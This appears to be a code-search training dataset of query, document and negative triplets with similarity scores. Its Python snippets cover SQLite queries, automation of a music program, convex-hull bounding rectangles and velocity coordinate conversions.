{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def db_table_exists(table_name):\n return table_name in connection.introspection.table_names()", "def db_table_exists(db, table_name):\n query = \"\"\"\n SELECT name FROM sqlite_master\n WHERE type='table' AND name='%s'\"\"\" % table_name\n cursor = db.execute(query)\n results = cursor....
[ "0.876392", "0.8616101", "0.85560894", "0.8430031", "0.8422178", "0.8337477", "0.8318655", "0.83150667", "0.83040786", "0.8292064", "0.82844245", "0.82619524", "0.8195732", "0.8178198", "0.8103807", "0.8034697", "0.8029937", "0.79777163", "0.7946561", "0.7936039", "0.7852319"...
0.82233644
12
Creates table in database.
def create_table(curs, table_name): curs.execute("""CREATE TABLE {} ( s TEXT PRIMARY KEY, x integer, y integer );""".format(table_name))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_table(self):\n Engine.create_table(self)\n self.connection.commit()", "def create_table(cls):\n if not connection.connected:\n raise Exception('Not connected to the database.')\n cursor = connection.execute(cls.create_table_sql())\n cursor.close()", "def...
[ "0.8990749", "0.8639965", "0.8635733", "0.8565021", "0.846095", "0.8455122", "0.83995795", "0.82201713", "0.82201713", "0.81825596", "0.8151841", "0.81471354", "0.8145797", "0.81398827", "0.81340706", "0.81236947", "0.8099645", "0.8063283", "0.80460113", "0.7939888", "0.78415...
0.7482211
49
Inputs values to table in database.
def input_values(curs, table_name, inputs): curs.executemany("""INSERT INTO {} (s, x, y) VALUES (?, ?, ?);""".format(table_name), inputs)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert_values():\n pass", "def insertByHand(self):\n\n fieldValues = []\n for field in self.fieldNames:\n fieldValues.append(raw_input(\"Give \" + field + \": \"))\n\n print(self.tableName + \".insert(\" + str(fieldValues) + \")\")\n\n self.insert(fieldValues)", ...
[ "0.66245425", "0.6569825", "0.65506077", "0.6475767", "0.62920696", "0.6261432", "0.62417054", "0.60498255", "0.6047792", "0.60193795", "0.59682614", "0.5960599", "0.59450805", "0.5943396", "0.59352744", "0.5807773", "0.5787951", "0.5777822", "0.5770113", "0.57534796", "0.574...
0.68125886
0
Queries to find number of rows in table in database.
def num_rows(curs, table_name): return curs.execute("""SELECT COUNT(*) FROM {}""".format(table_name)).fetchone()[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _num_rows(cursor, table):\n cursor.execute('SELECT COUNT(*) AS rowcount FROM %s' % table)\n return cursor.fetchone()['rowcount']", "def rpc_database_count_rows(self, *args):\n\t\targs = list(args)\n\t\tfields = self.path.split('/')[1:-2]\n\t\tassert len(fields) == len(args)\n\t\ttable = DATABASE_TABLE_...
[ "0.79395854", "0.7831921", "0.7761302", "0.76388055", "0.76057893", "0.76057893", "0.7554632", "0.7453263", "0.7393629", "0.73340714", "0.73320067", "0.72969866", "0.7288473", "0.7249601", "0.7185821", "0.7185635", "0.71682423", "0.7113054", "0.7109097", "0.709638", "0.706519...
0.7776676
2
Queries to find number of rows in table in database where x is greater than or equal to x_gte and y is greater than or equal to y_gte.
def count_rows_greater(curs, table_name, x_gte=5, y_gte=5): assert x_gte is not None and y_gte is not None where_str = "" val = None if x_gte is None: where_str = "WHERE y >= ?" val = (y_gte) elif y_gte is None: where_str = "WHERE x >= ?" val = (x_gte) else: ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rpc_database_count_rows(self, *args):\n\t\targs = list(args)\n\t\tfields = self.path.split('/')[1:-2]\n\t\tassert len(fields) == len(args)\n\t\ttable = DATABASE_TABLE_OBJECTS.get(self.path.split('/')[-2])\n\t\tassert table\n\t\tsession = db_manager.Session()\n\t\tquery = session.query(table)\n\t\tquery = query...
[ "0.56505555", "0.55544376", "0.5534052", "0.54158044", "0.53334355", "0.5333287", "0.52193576", "0.5107352", "0.5105168", "0.5078217", "0.5057607", "0.5046411", "0.5044533", "0.5042941", "0.503666", "0.50231636", "0.50128746", "0.4965802", "0.4953175", "0.4945569", "0.4910886...
0.8394844
0
Queries to find number of distinct values of col column in table in database.
def count_distinct_col(curs, table_name, col='y'): return curs.execute("""SELECT COUNT(DISTINCT {}) FROM {};""".format(col, table_name)).fetchone()[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_unique_counts(df, colname):\n\treturn list(dict(df[colname].value_counts(ascending=False, dropna=False)).values())", "def get_counts(df,col_name):\n return df.groupBy(col_name).count().show()", "def get_unique(self):\n unique_values = len(self.df[self.col_name].unique())\n return unique_values...
[ "0.6991576", "0.69485164", "0.6879922", "0.6863142", "0.67103183", "0.6590594", "0.6463755", "0.63715804", "0.63554555", "0.6342957", "0.6308717", "0.6272405", "0.626818", "0.62482023", "0.62392485", "0.61953485", "0.61704886", "0.61700535", "0.61607206", "0.61574954", "0.614...
0.8021922
0
Load a song from the given file.
def load_song(self, path): self._menu_select('File->Open') self._open_file(path) try: # Get the annoying Comments window out of the way self._app.Comments.minimize() except MatchError: pass
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def loadSong(fileName):\n with open (fileName, 'r') as f:\n testSong = ast.literal_eval(f.read())\n\n return testSong", "def load(self, song):\n self.currentSongName = song\n self.currentSong = pygame.mixer.music.load(song)", "def _load_sound(file: str) -> pyglet.media.Source:\n\n ...
[ "0.7358361", "0.72585785", "0.6847177", "0.68328434", "0.6698162", "0.66567945", "0.65592307", "0.65188473", "0.6471673", "0.64638644", "0.6448192", "0.6430223", "0.64215535", "0.63958055", "0.63943523", "0.63796645", "0.6167352", "0.61342967", "0.61297315", "0.6129407", "0.6...
0.7262814
1
Load a style from the given file.
def load_style(self, path): self.wait_ready() def open_dialog(): # Bring up the style popup menu and choose to open a style file self._song_pane.click_input(coords=(44, 73), absolute=False) menu = self._app.window(class_name='#32768') menu.menu_item('File...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def loadStyleSheet(self, filename):\n try:\n self.cssfile = \"gui/\" + filename\n with open(self.cssfile, \"r\") as f:\n self.setStyleSheet(f.read())\n except IOError:\n logger.error('No style sheet found!')", "def loadStyleSheet(self, styleFile=None)...
[ "0.75155187", "0.7069215", "0.7048573", "0.67138267", "0.6654528", "0.6436224", "0.64141214", "0.6291772", "0.62115586", "0.5974821", "0.58186597", "0.58115596", "0.5777675", "0.5759348", "0.57558227", "0.574919", "0.5748142", "0.5734577", "0.5732519", "0.57291174", "0.568974...
0.77099824
0
Input a path in the file open dialog.
def _open_file(self, path): path = os.path.normpath(os.path.abspath(path)) while True: dialog = self._app.window(class_name='#32770') dialog.wait('ready') # If asked whether to save changes, say no try: dialog_text = dialog.StaticWrapper2....
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def input_file_chooser(self):\n filename = tk.filedialog.askopenfilename()\n self._input_path_var.set(filename)", "def ask_file(message=\"Select file for open.\", title=None):\n return dialog(\"ask_file\", message=message, title=title)", "def browse(self):\n\n self.filepath.set(fd.askop...
[ "0.834441", "0.7337151", "0.73323566", "0.73134696", "0.7214489", "0.7209743", "0.72021335", "0.71581215", "0.7142186", "0.7106911", "0.70820993", "0.70767945", "0.7071607", "0.7063096", "0.7025388", "0.6945995", "0.69427097", "0.6923044", "0.6918306", "0.68720436", "0.686913...
0.7145944
8
Save the current song under the given filename.
def save_song(self, path, filetype='MIDI File (.MID) (*.MID)'): path = os.path.normpath(os.path.abspath(path)) self._menu_select('File->Save As') file_dialog = self._app.window(class_name='#32770') file_dialog.wait('ready') file_dialog.ComboBox2.select(filetype) file_dia...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save(self, filename):\n \n raise NotImplementedError(\"not implemented!\")", "def save(self, filename):\n pass", "def save(self, filename):\n raise NotImplementedError", "def save(self, filename):\n with open(filename, 'wb') as f:\n pickle.dump(self.tape, f, ...
[ "0.7501261", "0.7488612", "0.7314392", "0.7256743", "0.7066453", "0.70490944", "0.70004517", "0.69773304", "0.69770837", "0.6911088", "0.6851311", "0.6835348", "0.67647725", "0.6762632", "0.67390364", "0.67388684", "0.6726612", "0.6665421", "0.6633136", "0.66140676", "0.65941...
0.69142985
9
Generate all BandinaBox tracks.
def generate_all(self): self._menu_select('Generate->Generate All BB Tracks') self.wait_ready()
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _generate_tracks(self):\n # Need to use more than 1 thread, and lose reproducibility of FSR\n # numbering, in order to have temporary tracks and segments array of\n # the correct size for the multi-threaded solver.\n self.track_generator.setNumThreads(self.num_threads)\n self...
[ "0.65992457", "0.6411903", "0.6118427", "0.58061653", "0.57375866", "0.5511047", "0.543555", "0.5433582", "0.538114", "0.53352404", "0.53201026", "0.5318268", "0.53131926", "0.52852076", "0.52423847", "0.5192623", "0.5157373", "0.5153676", "0.5124135", "0.5117056", "0.5089322...
0.6040315
3
Set the key of the song.
def set_key(self, key, transpose=False): if transpose: raise NotImplementedError('transpose not implemented') self._menu_select('Edit->Key Signature') key_dialog = self._app.window(class_name='TKEY') key_dialog.wait('ready') key_dialog.TComboBox1.select(key) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_key(self, key):\n self.key = key", "def key(self, key):\n self._key = key", "def key(self, key):\n self._key = key", "def key(self, key):\n\n self._key = key", "def key(self, key):\n\n self._key = key", "def set_key_id(self, key_id=''):\n self.key_id = ke...
[ "0.779417", "0.7420175", "0.7420175", "0.7349797", "0.7349797", "0.6837352", "0.67350906", "0.6694472", "0.6677864", "0.6671646", "0.6651064", "0.6611608", "0.6611608", "0.65358907", "0.64713436", "0.6468371", "0.6453098", "0.6382845", "0.63392556", "0.6297103", "0.6281201", ...
0.57120013
76
The key signature of the song.
def key_signature(self): text = self._get_menu_item_text('Edit->Key Signature') return re.search(r'\[([A-G].?)\]$', text).group(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _build_signature(self):\n sig_contents = \\\n self.payload + \".\" + \\\n b64encode(b\"application/xml\").decode(\"ascii\") + \".\" + \\\n b64encode(b\"base64url\").decode(\"ascii\") + \".\" + \\\n b64encode(b\"RSA-SHA256\").decode(\"ascii\")\n sig_hash...
[ "0.69159144", "0.68707407", "0.68707407", "0.68707407", "0.6732909", "0.658839", "0.65777826", "0.6566842", "0.6536141", "0.6520834", "0.64927524", "0.6490056", "0.6486773", "0.6486773", "0.64298445", "0.64217603", "0.6413349", "0.63893026", "0.63876134", "0.6386294", "0.6298...
0.7109579
0
The time signature (meter) of the song.
def time_signature(self): text = self._get_menu_item_text('Edit->Meter (Time Signature)') return re.search(r'\[([0-9]+/[0-9]+)\]$', text).group(1)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_signingTime(self):\n\n return self.get_POW().signingTime()", "def time(self) -> int:\n return self.raw[\"time\"]", "def getTime(self) -> float:\n return self.t", "def getTime(self):\n return _osgAnimation.Keyframe_getTime(self)", "def get_time(self) -> float:\n ra...
[ "0.6606404", "0.64903015", "0.64892113", "0.6447548", "0.64385873", "0.633328", "0.6330664", "0.627636", "0.6260411", "0.6224092", "0.6214561", "0.6208507", "0.62078905", "0.6193222", "0.6189002", "0.61833715", "0.61824566", "0.6165584", "0.6165227", "0.6151058", "0.6149589",...
0.7741977
0
The tempo of the song.
def tempo(self): text = self._get_menu_item_text('Edit->Tempo') return float(re.search(r'\[([0-9.,]+)\]$', text).group(1))
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_tempo(self, tempo):\n self._tempo = tempo", "def tempo(signal,fs,hop_len = 64, **kwargs):\n tempo, beats = librosa.beat.beat_track(y=signal, sr=fs, hop_length=hop_len)\n return tempo", "def analyze_tempo(self, sample):\n # get beat from sample\n is_beat = self.tempo_analyzer(...
[ "0.69736135", "0.6595954", "0.6365309", "0.6310555", "0.61785966", "0.61531806", "0.6058358", "0.576273", "0.57180995", "0.57065964", "0.5647518", "0.56118566", "0.56033045", "0.5536001", "0.5516438", "0.5497539", "0.5480728", "0.5466305", "0.5449493", "0.5441588", "0.5440897...
0.6787653
1
runs all selector queries
def execute(self, sql): try: with self.connection.cursor() as cursor: cursor.execute(sql) self.connection.commit() try: count = cursor.rowcount res = cursor.fetchall() except psycopg2.Prog...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _run_query(self):", "def query_all(self):\n return multisearch.queries.QueryAll().connect(self)", "def callback_run_mysql_select(queries, time=3):\n\tfor i in range(0, time):\n\t\tpass", "def query(self):", "def _run_queries(self, persist):\n self._mark_start()\n self._run_query()\...
[ "0.65836596", "0.62772095", "0.59685266", "0.5872576", "0.5861746", "0.57978", "0.57501525", "0.5622931", "0.5622616", "0.5604672", "0.5604672", "0.5601733", "0.5584488", "0.55781513", "0.5568977", "0.5550962", "0.5547878", "0.5504852", "0.5497411", "0.549398", "0.54867667", ...
0.0
-1
Formats the DF and adds missing columns
def add_missing_columns(df, columns): df_columns = list(df.columns) table_columns = columns col_not_in_df = set(table_columns) - set(df_columns) # print(f' missing columns from df : {col_not_in_df}') for col in col_not_in_df: df[col] = '' df = df[table_...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_missing_fields(df, inventory_acronym, f, maintain_columns=False):\n # Rename for legacy datasets\n if 'ReliabilityScore' in df:\n df = df.rename(columns={'ReliabilityScore': 'DataReliability'})\n # Add in units and compartment if not present\n if 'Unit' in f.fields() and 'Unit' not in df...
[ "0.641115", "0.6301545", "0.6252176", "0.6246336", "0.621779", "0.6163167", "0.61629313", "0.61473024", "0.6107609", "0.6089415", "0.6087212", "0.60132515", "0.6011982", "0.59927666", "0.59733063", "0.5875654", "0.58720547", "0.5864852", "0.5810072", "0.5796086", "0.578949", ...
0.6645317
0
Update ArcGIS R bindings on this machine.
def update_package(r_library_path=r_library_path): # TODO make sure that the package isn't loaded before updating? info = arcpy.GetInstallInfo() arc_version = info['Version'] product = info['ProductName'] if arc_version in ('10.1', '10.2', '10.3.0') and product == 'Desktop': arcpy.AddError...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh_script_provider(self):\n if qgis_version() < 21600:\n from processing.core.Processing import Processing\n Processing.updateAlgsList()\n else:\n from processing.core.alglist import algList\n algList.reloadProvider('script')", "def refresh(self)...
[ "0.5909581", "0.52897483", "0.5182346", "0.5049008", "0.50418323", "0.487255", "0.48481926", "0.48071972", "0.48067838", "0.48017973", "0.47946712", "0.47891673", "0.4787338", "0.47767738", "0.47652295", "0.47616255", "0.47590637", "0.47561038", "0.47273707", "0.47131407", "0...
0.63963205
0
Given two points pt0 and pt1, return a unit vector that points in the direction of pt0 to pt1. Returns
def _unit_vector(pt0, pt1): dis_0_to_1 = sqrt((pt0[0] - pt1[0])**2 + (pt0[1] - pt1[1])**2) return (pt1[0] - pt0[0]) / dis_0_to_1, \ (pt1[1] - pt0[1]) / dis_0_to_1
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dir_vector(p1: Vec2, p2: Vec2) -> Vec2:\n return Vec2(p2.x - p1.x, p2.y - p1.y)", "def vector(p0, p1):\n a = p1[0] - p0[0]\n b = p1[1] - p0[1]\n return (a, b)", "def direction(point0, point1):\n d = [0, 0, 0]\n vector = [point1[0] - point0[0], point1[1] - point0[1]]\n d[1] = math.atan2...
[ "0.7350742", "0.7088152", "0.7051899", "0.6943673", "0.68375623", "0.6814168", "0.6791304", "0.6746292", "0.6693085", "0.64756083", "0.64739174", "0.64329237", "0.6425584", "0.6419102", "0.6410274", "0.6389862", "0.63404804", "0.6337205", "0.6286878", "0.6248634", "0.6230512"...
0.8154963
0
Given a vector, returns a orthogonal/perpendicular vector of equal length. Returns
def _orthogonal_vector(vector): return -1 * vector[1], vector[0]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_perpendicular2d(vector):\n if vector[1] == 0:\n return np.asarray([0.,1.])\n v2_0 = 1.0\n v2_1 = -(vector[0]/vector[1])\n v2 = np.asarray([v2_0, v2_1])\n return v2 / np.linalg.norm(v2)", "def perpendicular_vector(v):\n if v[1] == 0 and v[2] == 0:\n if v[0] == 0:\n ...
[ "0.8108887", "0.8046012", "0.80115205", "0.8010986", "0.79765224", "0.77215797", "0.75200254", "0.73142374", "0.7283013", "0.7026917", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823", "0.6834823"...
0.8325588
0
Given index location in an array and convex hull, it gets two points hull[index] and hull[index+1]. From these two points, it returns a named tuple that mainly contains area of the box that bounds the hull. This bounding box orintation is same as the orientation of the lines formed by the point hull[index] and hull[ind...
def _bounding_area(index, hull): unit_vector_p = _unit_vector(hull[index], hull[index + 1]) unit_vector_o = _orthogonal_vector(unit_vector_p) dis_p = tuple(np.dot(unit_vector_p, pt) for pt in hull) dis_o = tuple(np.dot(unit_vector_o, pt) for pt in hull) min_p = min(dis_p) min_o = min(dis_o) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def minimum_area_OBB(xy):\n # get convex hull\n hull = quickhull2d(xy)\n nh = len(hull)\n\n # handle special cases\n if nh < 1:\n return (numpy.zeros(2), numpy.zeros(2), numpy.eye(2))\n elif nh == 1:\n return (xy[hull[0]], numpy.zeros(2), numpy.eye(2))\n elif nh == 2:\n ce...
[ "0.71409", "0.64706504", "0.6422543", "0.6240047", "0.62209463", "0.619702", "0.60763705", "0.60492533", "0.6021375", "0.60020083", "0.59830874", "0.5958246", "0.595116", "0.59336185", "0.5892794", "0.58926195", "0.5882427", "0.58573145", "0.58370155", "0.58370155", "0.583700...
0.79123634
0
Given angle from horizontal axis and a point from origin, returns converted unit vector coordinates in x, y coordinates. angle of unit vector should be in radians. Returns
def _to_xy_coordinates(unit_vector_angle, point): angle_orthogonal = unit_vector_angle + pi / 2 return point[0] * cos(unit_vector_angle) + point[1] * cos(angle_orthogonal), \ point[0] * sin(unit_vector_angle) + point[1] * sin(angle_orthogonal)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def vector_to_axis(line, point):\n line = line.normalized()\n np = point.norm()\n angle = line.angle(point)\n return point - line ** (np * numpy.cos(angle))", "def vector_from_angle(angle: float, magnitude: float = 1) -> typing.Tuple[float, float]:\n x = math.cos(angle) * magnitude\n y = math.s...
[ "0.6875712", "0.6629386", "0.6577215", "0.64005256", "0.6300734", "0.62850034", "0.61816216", "0.61778945", "0.6121601", "0.6113652", "0.61109966", "0.6102749", "0.6102427", "0.6094682", "0.6085306", "0.60775954", "0.60771406", "0.6071323", "0.6071323", "0.6071323", "0.605968...
0.78936476
0
Rotates a point cloud around the center_of_rotation point by angle input
def _rotate_points(center_of_rotation, angle, points): rot_points = [] ang = [] for pt in points: diff = tuple([pt[d] - center_of_rotation[d] for d in range(2)]) diff_angle = atan2(diff[1], diff[0]) + angle ang.append(diff_angle) diff_length = sqrt(sum([d**2 for d in diff])) ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rotate_point_cloud_by_angle(self, data, rotation_angle):\n cosval = np.cos(rotation_angle)\n sinval = np.sin(rotation_angle)\n rotation_matrix = np.array([[cosval, 0, sinval],\n [0, 1, 0],\n [-sinval, 0, cosval]])\n ...
[ "0.74726593", "0.7226072", "0.7071681", "0.7071681", "0.7071681", "0.7022911", "0.70131767", "0.700418", "0.69092804", "0.68660945", "0.68194515", "0.67638063", "0.6690841", "0.66275495", "0.6573794", "0.6485148", "0.64704996", "0.64696646", "0.6451437", "0.64499474", "0.6449...
0.63807213
27
Given rectangle center and its inclination, returns the corner locations of the rectangle. Returns
def _rectangle_corners(rectangle): corner_points = [] for i1 in (.5, -.5): for i2 in (i1, -1 * i1): corner_points.append((rectangle['rectangle_center'][0] + i1 * rectangle['length_parallel'], rectangle['rectangle_center'][1] + i2 * rectangle['length_orthogonal']))...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def corners(self):\n x0, y0, width, height = self._rect_bbox\n xc = x0, x0 + width, x0 + width, x0\n yc = y0, y0, y0 + height, y0 + height\n transform = self._get_rotation_transform()\n coords = transform.transform(np.array([xc, yc]).T).T\n return coords[0], coords[1]", ...
[ "0.7417102", "0.7354182", "0.723154", "0.7114973", "0.69115084", "0.66389084", "0.65160036", "0.64205164", "0.64020616", "0.6395846", "0.6392826", "0.63800955", "0.63527083", "0.63490695", "0.63482094", "0.6341513", "0.632123", "0.6316612", "0.63106066", "0.6296892", "0.62945...
0.7069017
4
Given an image numpy array, it returns all the points in each object in the image. Assuming background have maximum number of points, it will remove background object points. input
def _get_mask_points(img_arr): img_unique_val = np.unique(img_arr) max_point_object_id = -1 max_num_points = -1 masks_point_dict = dict() for mask_id in img_unique_val: points_location = np.where(img_arr == mask_id) min_height = min(points_location[0]) max_height = max(points...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_objects(img, threshold=.3):\n thresholded_img = np.uint8(img > threshold)\n _, markers = cv2.connectedComponents(thresholded_img)\n object_centers = []\n for ii in range(1, np.max(markers)):\n masked_img = mask_img(img, markers == ii)\n object_index = np.argmax(masked_img)\n ...
[ "0.6686785", "0.6322959", "0.62514174", "0.61938", "0.6173828", "0.61347634", "0.61281", "0.6068525", "0.60538", "0.5940649", "0.5925896", "0.5898862", "0.5897576", "0.5851124", "0.5839876", "0.5823407", "0.5781983", "0.57549876", "0.5752311", "0.57283723", "0.57160974", "0...
0.64154553
1
Increases size of polygon given as a list of tuples. Assumes points in polygon are given in CCW
def dilate_polygon(points, amount_increase): expanded_points = [] for index, point in enumerate(points): prev_point = points[(index - 1) % len(points)] next_point = points[(index + 1) % len(points)] prev_edge = np.subtract(point, prev_point) next_edge = np.subtract(next_point, po...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pointToSmallPolygon(point, width=0.1):\n offset = width * 0.5\n x, y = point\n return [(x - offset, y - offset),\n (x - offset, y + offset),\n (x + offset, y + offset),\n (x + offset, y - offset),]", "def generatePolygons():", "def give_polygon(vertices, points):\n...
[ "0.6298423", "0.6002291", "0.58956087", "0.5852659", "0.5852659", "0.5783616", "0.57746005", "0.57575226", "0.5735989", "0.5667531", "0.5504969", "0.5492007", "0.5492007", "0.54828095", "0.54493666", "0.5432576", "0.5404036", "0.5399522", "0.5367788", "0.53517175", "0.5320602...
0.53341377
20
Increases size of polygon given as a list of tuples. Assumes points in polygon are given in CCW
def erode_polygon(points, amount_increase): expanded_points = [] for index, point in enumerate(points): prev_point = points[(index - 1) % len(points)] next_point = points[(index + 1) % len(points)] prev_edge = np.subtract(point, prev_point) next_edge = np.subtract(next_point, poi...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pointToSmallPolygon(point, width=0.1):\n offset = width * 0.5\n x, y = point\n return [(x - offset, y - offset),\n (x - offset, y + offset),\n (x + offset, y + offset),\n (x + offset, y - offset),]", "def generatePolygons():", "def give_polygon(vertices, points):\n...
[ "0.6298146", "0.60018104", "0.5893999", "0.58518606", "0.58518606", "0.5783245", "0.5773548", "0.57576466", "0.5736679", "0.56668633", "0.55032074", "0.5490286", "0.5490286", "0.54829234", "0.54476166", "0.54302883", "0.54025155", "0.53991246", "0.53671896", "0.5351317", "0.5...
0.49343577
77
Given an image numpy array, it returns a minimum area rectangle that will contain the mask. It will not necessarily be vertically or horizontally aligned. input
def get_rectangles_from_mask(img_arr): masks_point_dict = _get_mask_points(img_arr) mar_list = list() for object_id in masks_point_dict.keys(): mask_points = masks_point_dict[object_id] mask_points = tuple(mask_points) hull_ordered = [mask_points[index] for index in ConvexHull(mask_p...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_bounding_box(img):\n rows = np.any(img, axis=1)\n cols = np.any(img, axis=0)\n rmin, rmax = np.where(rows)[0][[0, -1]]\n cmin, cmax = np.where(cols)[0][[0, -1]]\n # due to python indexing, need to add 1 to max\n # else accessing will be 1px in the box, not out\n rmax += 1\n cmax += ...
[ "0.69519705", "0.66886437", "0.643538", "0.6417303", "0.63201237", "0.62712115", "0.6126436", "0.6126436", "0.6108796", "0.609959", "0.609959", "0.60787183", "0.6067797", "0.6058804", "0.60508186", "0.60463417", "0.6030054", "0.600243", "0.5979333", "0.59788084", "0.59653753"...
0.58815217
28
Given a list of points, returns a minimum area rectangle that will contain all points. It will not necessarily be vertically or horizontally aligned. Returns
def get_mar(polygon): polygon = tuple(polygon) hull_ordered = [polygon[index] for index in ConvexHull(polygon).vertices] hull_ordered.append(hull_ordered[0]) hull_ordered = tuple(hull_ordered) min_rectangle = _bounding_area(0, hull_ordered) for i in range(1, len(hull_ordered) - 1): recta...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def minimum_bounding_rectangle(points: np.ndarray) -> np.ndarray:\n\n pi2 = np.pi / 2.0\n hull_points = points[ConvexHull(points).vertices]\n edges = hull_points[1:] - hull_points[:-1]\n angles = np.arctan2(edges[:, 1], edges[:, 0])\n angles = np.abs(np.mod(angles, pi2))\n ...
[ "0.77555144", "0.72311133", "0.715177", "0.709013", "0.69630677", "0.694444", "0.6882075", "0.6874085", "0.6866171", "0.6759144", "0.65251994", "0.64364594", "0.6373182", "0.63379955", "0.63037515", "0.6275674", "0.62685", "0.62685", "0.6250968", "0.6237599", "0.6184768", "...
0.5929444
38
Given a list of points, returns a minimum area rectangle that will contain all points. It will not necessarily be vertically or horizontally aligned. Returns
def get_rectangle(polygon): polygon = tuple(polygon) hull_ordered = [polygon[index] for index in ConvexHull(polygon).vertices] hull_ordered.append(hull_ordered[0]) hull_ordered = tuple(hull_ordered) min_rectangle = _bounding_area(0, hull_ordered) for i in range(1, len(hull_ordered) - 1): ...
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def minimum_bounding_rectangle(points: np.ndarray) -> np.ndarray:\n\n pi2 = np.pi / 2.0\n hull_points = points[ConvexHull(points).vertices]\n edges = hull_points[1:] - hull_points[:-1]\n angles = np.arctan2(edges[:, 1], edges[:, 0])\n angles = np.abs(np.mod(angles, pi2))\n ...
[ "0.7757345", "0.72332007", "0.7153031", "0.7090727", "0.69631827", "0.69447917", "0.6881111", "0.6874056", "0.6867055", "0.6760373", "0.652623", "0.643763", "0.63734925", "0.63370615", "0.6304242", "0.6276559", "0.6268368", "0.6268368", "0.62515146", "0.6237839", "0.61852163"...
0.0
-1
Function for returning values in SI units. Returns ~numpy.ndarray Array containing values in SI units (m, m, m, m/s, m/s, m/s)
def si_values(self): element_list = [ self.x.to(u.m), self.y.to(u.m), self.z.to(u.m), self.v_x.to(u.m / u.s), self.v_y.to(u.m / u.s), self.v_z.to(u.m / u.s), ] return np.array([e.value for e in element_list], dtype=float)
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def si_values(self):\n element_list = [\n self.r.to(u.m),\n self.theta.to(u.rad),\n self.phi.to(u.rad),\n self.v_r.to(u.m / u.s),\n self.v_t.to(u.rad / u.s),\n self.v_p.to(u.rad / u.s),\n ]\n return np.array([e.value for e in el...
[ "0.670202", "0.670202", "0.6576766", "0.643512", "0.64342344", "0.64155596", "0.64133334", "0.63228536", "0.62390137", "0.61589706", "0.59870386", "0.56768537", "0.5666563", "0.5537347", "0.5522331", "0.55190563", "0.5509743", "0.5457267", "0.5457267", "0.5457267", "0.5427252...
0.6564899
3
Function for returning velocity.
def velocities(self, return_np=False): if return_np: return self.si_values()[3:] return [self.v_x, self.v_y, self.v_z]
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getVelocity(self):\n return self.v", "def get_velocity(self):\n return self.momentum/self.mass", "def velocity(self):\n return self._velocity", "def velocity(self):\n return self._velocity", "def getVelocity(self):\n\t\tif len(self.prevPositions) < 2:\n\t\t\tself.velocity = 0\n\...
[ "0.8667903", "0.8293557", "0.8140917", "0.8140917", "0.8003917", "0.7993078", "0.79492277", "0.792993", "0.77929205", "0.7697181", "0.76217324", "0.76067966", "0.74850005", "0.74595916", "0.73604906", "0.72500557", "0.7246171", "0.7206871", "0.7172975", "0.7169881", "0.711871...
0.6518784
77
Function to convert velocity to spherical coordinates velocity Returns ~einsteinpy.coordinates.velocity.SphericalDifferential Spherical representation of the velocity in Cartesian Coordinates.
def spherical_differential(self): r, theta, phi, v_r, v_t, v_p = self.convert_spherical() return SphericalDifferential( r * u.m, theta * u.rad, phi * u.rad, v_r * u.m / u.s, v_t * u.rad / u.s, v_p * u.rad / u.s, )
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _velocity_cartesian2spherical(pos,vel):\n\n \n #save cartesian position of each particle\n x=pos[:,0]\n y=pos[:,1]\n z=pos[:,2]\n\n #save cartesian velocities\n vx=vel[:,0]\n vy=vel[:,1]\n vz=vel[:,2]\n\n #convert to spherical coordinates\n pos_sph=_position_cartesian2spherical...
